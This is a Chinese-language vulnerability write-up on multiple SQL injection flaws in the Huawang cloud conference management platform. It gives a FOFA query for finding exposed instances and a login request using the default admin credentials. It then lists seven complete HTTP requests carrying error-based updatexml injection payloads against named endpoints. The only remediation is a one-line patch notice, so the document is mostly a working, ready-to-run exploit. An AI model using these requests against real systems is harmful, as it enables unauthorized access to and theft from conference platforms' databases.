华望云会议管理平台 多处 SQL注入

0x01 漏洞描述：

华望云会议管理平台是一款基于云计算技术的远程音视频互动软件，致力于为用户提供便捷、易用、低成本的会议解决方案。该平台拥有丰富的功能和广泛的应用场景，能够满足不同用户在不同场景下的会议需求。系统在 myconflist.inc、useractionlist、deptactionlist、conflog.inc、confmanger.inc、recodemanger.inc、syslog.inc 等接口中存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息。

0x02 搜索语句：

Fofa：title="华望云会议管理平台"

0x03 漏洞复现：

该漏洞需要得到系统权限才能执行，因此需要先获取默认用户中cookie

获取cookie：

POST /ajax/userlogin HTTP/1.1
Host: your-ip
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
X-Requested-With: XMLHttpRequest

userNameCopy=admin&userName=admin&passWordCopy=admin&passWord=21232f297a57a5a743894a0e4a801fc3

得到/ajax/userlogin响应中的cookie后 将数据带入到后续接口中

 /page/syslog.inc接口sql注入

POST /page/syslog.inc?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&params[]=displayName&params[]=module&params[]=act&params[]=ip&selectTime=1 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

 /page/myconflist.inc接口sql注入

GET /page/myconflist.inc?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&params[]=confName&params[]=confId&selectTime=1 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

 /page/useractionlist接口sql注入

POST /page/useractionlist?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&dpId=1&params[]=displayName&params[]=userName HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

/page/recodemanger.inc 接口sql注入

POST /page/recodemanger.inc?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&params[]=nName&params[]=confName&params[]=displayName&params[]=status&selectTime=1 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

/page/confmanger.inc接口sql注入

POST /page/confmanger.inc?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&params[]=confName&params[]=confId&params[]=displayName HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

/page/deptactionlist接口sql注入

POST /page/deptactionlist?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&dpId=1&params[]=dpName&params[]=dpId HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

/page/conflog.inc接口sql注入 

POST /page/conflog.inc?search=1%25'+and+1%3d(updatexml(0x7e,concat(1,(select+user())),1))+and+'%25%25'+like+'&params[]=confName&params[]=confId&selectTime=1 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: uid=112; JSESSIONID=67C3AEB85DD7455B1146B3AB97768959;
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

0x04 修复建议：

 厂商已发布补丁请即时修复